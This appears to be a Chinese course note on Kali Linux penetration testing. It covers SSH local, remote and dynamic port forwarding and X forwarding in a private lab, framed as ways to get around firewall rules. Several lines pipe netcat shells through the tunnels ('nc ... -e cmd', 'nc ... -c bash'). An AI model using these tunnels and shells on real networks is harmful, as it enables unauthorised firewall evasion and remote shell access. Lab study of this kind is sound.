本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 简介
-
SSH 支持双向通信隧道
- 将其他 TCP 端口的通信通过 SSH 链接来转发
- 用 SSH 作为传输协议,对流量自动加解密
- 突破防火墙访问规则的限制,可用于翻墙
-
SSH 本地端口转发
- 使效果类似于 rinetd
- 将一本地端口与远程服务器建立隧道
-
建立双向安全隧道
- 将其他 TCP 端口的通信通过 SSH 链接来转发
- 用 SSH 作为传输协议,对流量自动加解密
- 突破防火墙访问规则的限制,可用于翻墙
-
本地端口转发
- 本机侦听端口,访问转发到远程主机指定端口
-
远程端口转发
- 远程侦听端口,访问转发到本机主机指定端口
-
动态隧道模式
2. SSH 本地端口转发
-
环境要求防火墙只允许内网53端口访问外网
-
将一本地端口与远程服务器建立隧道
-
Web 服务器在远程:ssh -fCNg -L :: user@ -p
-
Web 服务器在本地:ssh -fCNg -L :localhost: user@ -p
-
-f 后台运行进程
-
-N 不执行登录 shell(不显示登录的界面)
-
-C 进行压缩,节省带宽
-
-g 复用访问时作为网关,支持多主机访问本地侦听端口
-
网关模式转发 RDP、NC shell
-
端口转发基于家里起来的 SSH 隧道,隧道中断端口转发中断
-
只能在建立隧道时创建转发,不能为已有隧道增加端口转发
-
-
Web 服务器在远程
-
环境拓扑
本地 xubuntu <--hostonly--> firewall <--bridge--> kali(SSH) firewall <--bridge--> win2003(http)
-
win2003
桥接:192.168.1.124 开启远程桌面
-
m0n0wall
-
kali
-
环境
桥接 ip:192.168.1.110 vim /etc/ssh/sshd_config PermitRootLogin yes Port 53 PasswordAuthentication yes systemctl restart ssh.service
-
设置
-
-
本地 xubuntu
hostonly:1.1.1.12 ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port> # ssh -L webserver kali机器 root@kali:~# ssh -L 7001:192.168.1.13:80 root@192.168.1.14 -p 53 # 终端窗口关闭即断开连接 -f 后台运行进程
# ----------------------------------------- # 使用 53 端口 登录 rdp 3389 端口 root@lamp:~# ssh -L 7003:192.168.1.13:3389 root@192.168.1.110 -p 53
root@lamp:~# apt-get install rdesktop # -----------------------------------------
-
-
Web 服务器在代理主机本地
-
kali
root@kali:~# systemctl restart apache2.service
-
本地 xubuntu
ssh -fCNg -L <listen port>:localhost:<remote port> user@<ssh server> -p <ssh port> root@lamp:~# ssh -L 7002:localhost:80 root@192.168.1.110 -p 53
-
-
网关模式复用
# 通过 本地 xubuntu 最为代理,使局域网内的主机都可以访问外网 -g 复用访问时作为网关,支持多主机访问本地侦听端口 root@lamp:~# ssh -CfNg -L 7004:192.168.1.13:3389 root@192.168.1.110 -p 53 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20190413171429870.png) # 使 winxp 通过 xbuntu 作为代理 ,建立 nc shell win2003: C:\>nc -nvlp 3333 xbuntu: ssh -CfNg -L 7006:192.168.1.13:3333 root@192.168.1.110 -p 53 winxp: C:\>nc 1.1.1.12 7006 -e cmd
3. SSH 远程端口转发
-
由于 ACL 等原因,SSH 与应用连接建立方向相反
-
本地端口转发
- SSH 客户端+应用客户端位于 FW 一端
- SSH 服务器+应用服务器位于另一端
-
远程端口转发
- SSH 客户端、应用客户端位于 FW 两端
- SSH 服务器、应用服务器位于 FW 两端
-
ssh -fCNg -R :: user@ -p
-
之所以成为远程,是因为 SSH 侦听端口开在远程的 SSH Server(kali) 上
-
侦听端口永远在客户端一方
-
远程端口转发测试环境
-
win2003 作为远程 server
hostonly:1.1.1.11 开启远程桌面
-
xubuntu
hostonly:1.1.1.12 ssh -CfNg -R 7001:1.1.1.11:80 root@192.168.1.110 -p 53 ssh -CfNg -R 7001:1.1.1.11:3389 root@192.168.1.110 -p 53 # 侦听在 kali 上,侦听地址 127.0.0.1
root@kali:~# rdesktop 127.0.0.1:7002
-
-
nc shell
-
win2003
C:\>nc -nvlp 444
-
xubuntu
# 在 kali 侦听 444 ssh -CfNg -R 7003:1.1.1.11:444 root@192.168.1.110 -p 53
-
kali
root@kali:~# nc 127.0.0.1:7003 -c bash
-
4. 动态端口转发
-
本地、远程端口转发都需要固定应用服务器IP、Port
- 应用端口繁多,诸葛转发效率低
- 某些应用不固定端口
- 某些网站不支持IP直接访问
- 使用非受信网络上网时保护流量不被嗅探
-
本地侦听 socks4/5 代理端口
- 由 SSH server 决定如何转发
- 作为翻墙代理使用
- 配置客户端代理(浏览器)
- 使用 proxychains 支持无代理客户端
- ssh -CfNg -D 7001 root@1.1.1.1 -p 2121
-
测试环境
-
kali
桥接:192.168.1.14
-
xubuntu
hostonly:1.1.1.12 ssh -CfNg -D 7009 root@192.168.1.14 -p 53
-
win2007
hostonly:1.1.1.11 仅主机,无法上外网
设置代理
可以正常访问百度
-
5. X协议转发
-
远程登陆 Linux GUI 运行图形化界面工具
- VNC
- X windows
-
防火墙限制访问时
- 基于 SSH 的 X 转发
- ssh -X user@1.1.1.1 -p 53
-
测试环境
-
kali
桥接:192.168.1.14
-
xubuntu
hostonly:1.1.1.12 ssjh -X root@192.168.1.14 -p 53 # 所有的操作都是记录在 kali 中,本地只是查看和操作
xubuntu 打开图形化界面处理文字
kali 中查看结果
-